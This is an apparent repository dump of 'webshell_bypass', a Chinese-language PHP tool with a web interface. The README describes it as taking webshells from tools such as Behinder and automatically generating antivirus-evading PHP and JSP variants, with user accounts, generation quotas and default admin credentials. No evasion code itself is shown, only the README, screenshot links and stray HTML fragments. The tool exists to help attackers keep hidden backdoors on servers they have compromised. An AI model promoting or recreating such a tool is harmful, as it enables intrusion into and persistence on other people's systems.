    21 |

    订单处理结果

    22 |
    23 |
    24 |
    25 |
    26 | 正在检测付款结果... 27 | 28 | 61 |
    62 |
    63 | 64 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # webshell_bypass 2 | webshell动态免杀工具由作者花了两天时间用php语言开发的带ui的免杀工具,使用者可上传由冰蝎或者天蝎生成的webshell,动态自动生成免杀webshell。目前只支持php、jsp,其它语言,各位使用者可自己去编写脚本实现。 3 | 实现语言:php5.6.7+mysql+nginx。 4 | 后台管理:/admin(admin/a123456@)。 5 | 搭建简单易懂。 6 | 功能: 7 | 1、授权功能,用户免杀shell生成次数限制(后台配置)。 8 | 2、用户注册。 9 | 3、php动态免杀。 10 | 4、jsp动态免杀。 11 | 5、.net免杀仅内部使用。 12 | 6、免杀记录自动删除。 13 | 14 | 15 | 1、前台登录: 16 | ![image](https://user-images.githubusercontent.com/115332332/194687809-8eca79f2-c343-4135-aaea-7f28c7f627ba.png) 17 | 2、用户注册: 18 | ![image](https://user-images.githubusercontent.com/115332332/194739357-deeaade0-0705-403b-976e-b81e2267b614.png) 19 | 3、首页: 20 | ![image](https://user-images.githubusercontent.com/115332332/194687989-7e584cd5-b3b8-4c86-ba92-f4fad7abf51d.png) 21 | 4、php webshell免杀: 22 | ![image](https://user-images.githubusercontent.com/115332332/194747680-55e48ada-8be7-4971-9809-46a0eff288a8.png) 23 | 5、jsp webshell免杀: 24 | ![image](https://user-images.githubusercontent.com/115332332/194747706-d3dc20fa-2f87-4e8c-9938-1c81e0646cc1.png) 25 | .net(仅内部使用)各位可以自行编写脚本。 26 | 6、免杀记录: 27 | ![image](https://user-images.githubusercontent.com/115332332/194697546-1dd14373-0a71-44fc-9fd2-ae5d9db2e2d9.png) 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /admin/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /nginx.htaccess: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/nginx.htaccess -------------------------------------------------------------------------------- /static/images/evie_default_bg.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/static/images/evie_default_bg.jpeg --------------------------------------------------------------------------------